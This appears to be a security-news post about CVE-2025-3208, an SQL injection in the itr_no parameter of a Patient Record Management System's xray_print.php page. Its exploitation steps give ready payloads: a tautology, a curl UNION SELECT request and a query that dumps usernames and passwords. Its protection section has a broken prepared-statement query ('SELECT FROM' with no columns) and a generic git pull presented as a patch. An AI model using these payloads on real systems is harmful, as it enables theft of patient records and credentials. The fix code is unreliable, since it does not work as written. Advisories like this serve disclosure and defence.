How CVE-2025-3208 Works
The vulnerability exists in `/xray_print.php` due to improper sanitization of the `itr_no` parameter. Attackers can inject malicious SQL queries through this parameter, manipulating database operations. Since the system fails to validate user-supplied input, an attacker can execute arbitrary SQL commands, potentially accessing, modifying, or deleting sensitive patient records. The flaw is remotely exploitable, requiring only a crafted HTTP request. The CVSS 4.0 score reflects its critical nature due to low attack complexity and high impact on confidentiality, integrity, and availability.

Platform: Patient Record Management System
Version: 1.0
Vulnerability: SQL Injection
Severity: Critical
Date: 04/08/2025
What Undercode Say:
Exploitation:
1. Craft SQL Payload:
' OR '1'='1' --
2. Exploit via Curl:
curl -X GET "http://target.com/xray_print.php?itr_no=1' UNION SELECT 1,2,3,4,5-- -"
3. Dump Database:
' UNION SELECT username,password,NULL,NULL,NULL FROM users-- -
Protection:
1. Input Validation:
$itr_no = mysqli_real_escape_string($conn, $_GET['itr_no']);
2. Prepared Statements:
$stmt = $conn->prepare("SELECT FROM xray_records WHERE itr_no = ?");
$stmt->bind_param("s", $itr_no);
3. WAF Rules:
location ~ .php$ {
modsecurity_rules 'SecRule ARGS "@detectSQLi" "id:1000,deny,status:403"';
}
4. Patch Upgrade:
git pull origin security-fixes
5. Log Monitoring:
tail -f /var/log/apache2/access.log | grep -i "xray_print.php"
Analytics:
- Attack Vector: Remote (HTTP)
- Privileges Required: Low
- Exploitability: High (Public PoC)
- Impact: Data Breach, System Compromise
Mitigation Checklist:
- [ ] Deploy parameterized queries
